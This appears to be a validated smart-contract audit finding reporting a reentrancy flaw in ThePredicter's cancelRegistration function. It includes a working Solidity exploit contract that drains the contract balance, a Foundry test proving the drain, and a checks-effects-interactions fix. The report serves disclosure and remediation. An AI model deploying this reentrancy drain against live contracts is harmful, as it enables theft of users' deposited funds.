Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in `cancelRegistration` Function Allowing Full Contract Balance Drain

Summary

The function cancelRegistration in ThePredicter contract has a reentrancy vulnerability bug because it updates the user's status after sending ether. An attacker can exploit this by re-entering the function call and draining the contract before their status is updated.

Vulnerability Details

You find the bug on

https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L64

The following exploit contract will take advantage of the reentrancy vulnerability in the cancelRegistration function to drain funds from ThePredicter:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ThePredicter.sol";

contract Exploit {````ThePredicter public thePredicter;````address public owner;

constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
owner = msg.sender;
}
// Fallback function to enable reentrancy attack
receive() external payable {
if (address(thePredicter).balance >= thePredicter.entranceFee()) {
thePredicter.cancelRegistration();
}
}
function attack() external payable {
require(msg.value == thePredicter.entranceFee(), "Send exact entrance fee");
// Register with the vulnerable contract
thePredicter.register{value: msg.value}();
// Trigger the exploit
thePredicter.cancelRegistration();
}
function withdraw() external {
require(msg.sender == owner, "Not the owner");
payable(owner).transfer(address(this).balance);
}

}

Here is the test script to demonstrate the attack using Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/ThePredicter.sol";
import "../src/Exploit.sol";

contract ThePredicterTest is Test {
ThePredicter public thePredicter;
Exploit public exploit;
address public owner = address(1);
uint256 public entranceFee = 0.04 ether;

function setUp() public {
vm.deal(owner, 1 ether);
vm.startPrank(owner);
thePredicter = new ThePredicter(entranceFee);
exploit = new Exploit(address(thePredicter));
vm.stopPrank();
}
function testExploit() public {
// Fund the ThePredicter contract
vm.deal(address(thePredicter), 1 ether);
// Start the attack
vm.startPrank(owner);
exploit.attack{value: entranceFee}();
// Ensure the exploit contract drained the funds
assertGt(address(exploit).balance, 1 ether);
assertEq(address(thePredicter).balance, 0);
vm.stopPrank();
}

}

Impact: Users who have registered and paid the entrance fee can have their funds stolen by an attacker. This undermines trust in the contract and its security.

Tools Used

Manual Review

Foundry

Recommendations

To fix the vulnerability, update the state before making any external calls: following CEI

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.